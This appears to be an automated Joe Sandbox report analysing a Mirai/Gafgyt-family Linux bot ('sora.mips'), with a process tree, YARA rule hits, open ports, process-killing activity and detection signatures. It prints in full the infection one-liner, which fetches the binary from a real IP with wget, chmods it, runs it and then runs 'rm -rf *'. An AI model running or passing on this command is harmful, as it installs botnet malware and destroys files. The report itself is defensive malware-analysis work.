Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report

Overview

General Information

Analysis ID:1431999
Infos:

Detection

Mirai
Score:68
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Mirai
Drops files in suspicious directories
Sample deletes itself
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
ELF contains segments with high entropy indicating compressed/encrypted content
Enumerates processes within the "proc" file system
Executes the "chmod" command used to modify permissions
Executes the "curl" command used to transfer data via the network (typically using HTTP/S)
Executes the "rm" command used to delete files or directories
Executes the "wget" command typically used for HTTP/S downloading
Reads the 'hosts' file potentially containing internal network hosts
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Sets full permissions to files and/or directories
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Yara signature match

Classification

General Information

Joe Sandbox version:40.0.0 Tourmaline
Analysis ID:1431999
Start date and time:2024-04-26 08:31:36 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 38s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxcmdlinecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal68.spre.troj.evad.lin@0/1@0/0

Warnings

  • Connection to analysis system has been lost, crash info: Unknown
  • Skipping network analysis since amount of network traffic is too extensive

Runtime Messages

Command:/bin/sh -c "curl cd /tmp; wget http:/185.196.11.177/bins/sora.mips; chmod 777 *; ./sora.mips thinkphp; rm -rf *"
PID:6213
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: cd
curl: (3) URL using bad/illegal format or missing URL
--2024-04-26 08:32:16-- http://185.196.11.177/bins/sora.mips
Connecting to 185.196.11.177:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28884 (28K)
Saving to: sora.mips
0K .......... .......... ........ 100% 103K=0.3s

2024-04-26 08:32:17 (103 KB/s) - sora.mips saved [28884/28884]

Process Tree

  • system is lnxubuntu20
  • sh (PID: 6213, Parent: 6127, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "curl cd /tmp; wget http://185.196.11.177/bins/sora.mips; chmod 777 *; ./sora.mips thinkphp; rm -rf *"
    • sh New Fork (PID: 6214, Parent: 6213)
    • curl (PID: 6214, Parent: 6213, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: curl cd /tmp
    • sh New Fork (PID: 6216, Parent: 6213)
    • wget (PID: 6216, Parent: 6213, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://185.196.11.177/bins/sora.mips
    • sh New Fork (PID: 6217, Parent: 6213)
    • chmod (PID: 6217, Parent: 6213, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 2to3-2.7 7z 7za 7zr GET HEAD NF POST Thunar VGAuthService X X11 Xephyr Xorg Xwayland [ aa-enabled aa-exec aconnect acpi_listen add-apt-repository addpart addr2line al al2 alsabat alsaloop alsamixer alsatplg alsaucm amidi amixer apg apgbfm aplay aplaymidi apport-bug apport-cli apport-collect apport-unpack appres appstreamcli aprofutil apropos apt apt-add-repository apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptdcon apturl apturl-gtk ar arch arecord arecordmidi arm2hpdl as aseqdump aseqnet asp-state4 aspell aspell-import at atobm atq atril atril-previewer atril-thumbnailer atrm automat-visualize3 avahi-browse avahi-browse-domains avahi-publish avahi-publish-address avahi-publish-service avahi-resolve avahi-resolve-address avahi-resolve-host-name avahi-set-host-name awk axfer b2sum base32 base64 basename bash bashbug batch bc bccmd bdftopcf
    • sh New Fork (PID: 6218, Parent: 6213)
    • sora.mips (PID: 6218, Parent: 6213, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: ./sora.mips thinkphp
    • sh New Fork (PID: 6233, Parent: 6213)
    • rm (PID: 6233, Parent: 6213, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf 2to3-2.7 7z 7za 7zr GET HEAD NF POST Thunar VGAuthService X X11 Xephyr Xorg Xwayland [ aa-enabled aa-exec aconnect acpi_listen add-apt-repository addpart addr2line al al2 alsabat alsaloop alsamixer alsatplg alsaucm amidi amixer apg apgbfm aplay aplaymidi apport-bug apport-cli apport-collect apport-unpack appres appstreamcli aprofutil apropos apt apt-add-repository apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptdcon apturl apturl-gtk ar arch arecord arecordmidi arm2hpdl as aseqdump aseqnet asp-state4 aspell aspell-import at atobm atq atril atril-previewer atril-thumbnailer atrm automat-visualize3 avahi-browse avahi-browse-domains avahi-publish avahi-publish-address avahi-publish-service avahi-resolve avahi-resolve-address avahi-resolve-host-name avahi-set-host-name awk axfer b2sum base32 base64 basename bash bashbug batch bc bccmd bdftopcf
  • systemd New Fork (PID: 6340, Parent: 1)
  • systemd New Fork (PID: 6341, Parent: 1860)
  • systemd New Fork (PID: 6342, Parent: 1)
  • systemd New Fork (PID: 6343, Parent: 1)
  • systemd New Fork (PID: 6344, Parent: 1)
  • systemd New Fork (PID: 6345, Parent: 1)
  • systemd New Fork (PID: 6347, Parent: 1)
  • systemd New Fork (PID: 6348, Parent: 1)
  • gdm3 New Fork (PID: 6349, Parent: 1320)
  • gdm3 New Fork (PID: 6350, Parent: 1320)
  • systemd New Fork (PID: 6351, Parent: 1)
  • gdm3 New Fork (PID: 6352, Parent: 1320)
  • systemd New Fork (PID: 6353, Parent: 1860)
  • systemd New Fork (PID: 6354, Parent: 1)
  • systemd New Fork (PID: 6357, Parent: 1860)
  • systemd New Fork (PID: 6358, Parent: 1)
  • systemd New Fork (PID: 6359, Parent: 1860)
  • systemd New Fork (PID: 6360, Parent: 1860)
  • systemd New Fork (PID: 6361, Parent: 1)
  • systemd New Fork (PID: 6362, Parent: 1)
  • systemd New Fork (PID: 6363, Parent: 1)
  • systemd New Fork (PID: 6364, Parent: 1)
  • systemd New Fork (PID: 6365, Parent: 1)
  • systemd New Fork (PID: 6366, Parent: 1)
  • systemd New Fork (PID: 6367, Parent: 1)
  • systemd New Fork (PID: 6368, Parent: 1)
  • systemd New Fork (PID: 6371, Parent: 1)
  • systemd New Fork (PID: 6372, Parent: 1)
  • systemd New Fork (PID: 6373, Parent: 1)
  • systemd New Fork (PID: 6435, Parent: 1860)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
6229.1.00007f020c400000.00007f020c414000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    6229.1.00007f020c400000.00007f020c414000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0x12d50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12d64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12d78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12d8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12da0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12db4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12dc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12ddc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12df0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12e90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12ea4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12eb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12ecc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x12ee0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    6229.1.00007f020c400000.00007f020c414000.r-x.sdmpLinux_Trojan_Gafgyt_ea92cca8unknownunknown
    • 0x132a8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
    6221.1.00007f020c400000.00007f020c414000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6221.1.00007f020c400000.00007f020c414000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x12d50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12d64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12d78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12d8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12da0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12db4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12dc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12ddc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12df0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12e90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12ea4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12eb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12ecc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12ee0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      Click to see the 24 entries

      Snort Signatures

      ⊘No Snort rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results
      Source: /bin/sh (PID: 6216)Wget executable: /usr/bin/wget -> wget http://185.196.11.177/bins/sora.mipsJump to behavior
      Source: /usr/bin/curl (PID: 6214)Reads hosts file: /etc/hostsJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::0Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::23Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::53413Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::80Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::52869Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)Socket: 0.0.0.0::37215Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::0Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::23Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::53413Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::80Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::52869Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)Socket: 0.0.0.0::37215Jump to behavior
      Source: sora.mips.14.drString found in binary or memory: http://upx.sf.net

      System Summary

      barindex
      Malicious sample detected (through community Yara rule)
      Source: 6229.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6229.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6221.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6221.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6418.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6418.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6412.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6412.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6414.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6414.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6227.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6227.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6218.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6218.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: 6220.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6220.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: Process Memory Space: sora.mips PID: 6221, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Process Memory Space: sora.mips PID: 6229, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Process Memory Space: sora.mips PID: 6229, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Source: Process Memory Space: sora.mips PID: 6418, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Process Memory Space: sora.mips PID: 6418, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
      Sample tries to kill multiple processes (SIGKILL)
      Source: /usr/bin/sora.mips (PID: 6220)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6220, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 721, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 777, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1344, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1860, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1886, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 2048, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6189, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6190, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6229, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6414)SIGKILL sent: pid: 6412, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6220)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 936, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6220, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 720, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 721, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 759, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 777, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1334, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1335, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1344, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1860, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1872, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 1886, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 2048, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6189, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6190, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6226)SIGKILL sent: pid: 6229, result: successfulJump to behavior
      Source: /usr/bin/sora.mips (PID: 6414)SIGKILL sent: pid: 6412, result: successfulJump to behavior
      Source: 6229.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6229.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6221.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6221.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6418.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6418.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6412.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6412.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6414.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6414.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6227.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6227.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
      Source: 6218.1.00007f020c400000.00007f020c414000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
